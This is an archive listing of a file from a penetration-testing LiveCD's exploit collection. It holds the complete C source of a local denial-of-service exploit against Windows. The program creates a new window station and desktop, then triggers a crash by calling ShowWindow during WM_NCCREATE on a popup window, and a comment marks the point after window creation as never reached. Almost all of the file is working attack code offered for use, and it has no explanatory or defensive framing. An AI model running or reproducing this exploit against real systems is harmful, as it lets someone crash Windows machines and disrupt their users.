home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / local / win32gdi-dos.txt < prev    next >
Text File  |  2005-02-12  |  2KB  |  46 lines

  1.  
  2. #include <windows.h>
  3.  
  4. LRESULT CALLBACK WndProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
  5. {
  6.         switch(message)
  7.         {
  8.         case WM_NCCREATE:
  9.                 {
  10.                         ShowWindow(hwnd, SW_SHOW);
  11.                 }
  12.                 return TRUE;
  13.         }
  14.         return DefWindowProc(hwnd, message, wParam, lParam);
  15. }
  16.  
  17.  
  18. int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow)
  19. {
  20.         HWINSTA ws = CreateWindowStation(NULL, 0, WINSTA_CREATEDESKTOP | GENERIC_ALL, NULL);
  21.         SetProcessWindowStation(ws);
  22.         HDESK dt = CreateDesktop("TEST", 0, 0, 0, DESKTOP_CREATEWINDOW | GENERIC_ALL | DESKTOP_CREATEMENU | DESKTOP_SWITCHDESKTOP | DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS, NULL); // no idea what access I actually need, I think this is just about everything
  23.         SetThreadDesktop(dt);
  24.         WNDCLASS wndclass = {0};
  25.         wndclass.style = CS_HREDRAW  | CS_VREDRAW;
  26.         wndclass.lpfnWndProc = WndProc;
  27.         wndclass.hInstance = hInstance;
  28.         wndclass.hIcon = LoadIcon(NULL, IDI_APPLICATION); // default icon
  29.         wndclass.hCursor = LoadCursor(NULL, IDC_ARROW); // default cursor.  One or other (or both?) of these seem to be necessary.
  30.         wndclass.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH);
  31.         wndclass.lpszMenuName = NULL;
  32.         wndclass.lpszClassName = TEXT("Crash");
  33.         RegisterClass(&wndclass);
  34.         HWND hwnd = CreateWindowEx(WS_EX_TOOLWINDOW, TEXT("Crash"), TEXT("Crash"), WS_POPUP, 300, 300, 300, 445, NULL, NULL, hInstance, NULL);
  35.         // NEVER GETS HERE.
  36.         ShowWindow(hwnd, iCmdShow);
  37.         UpdateWindow(hwnd);
  38.         MSG msg;
  39.         while(GetMessage(&msg, NULL, 0, 0))
  40.         {
  41.                 TranslateMessage(&msg);
  42.                 DispatchMessage(&msg);
  43.         }
  44.         return msg.wParam;
  45. }
  46.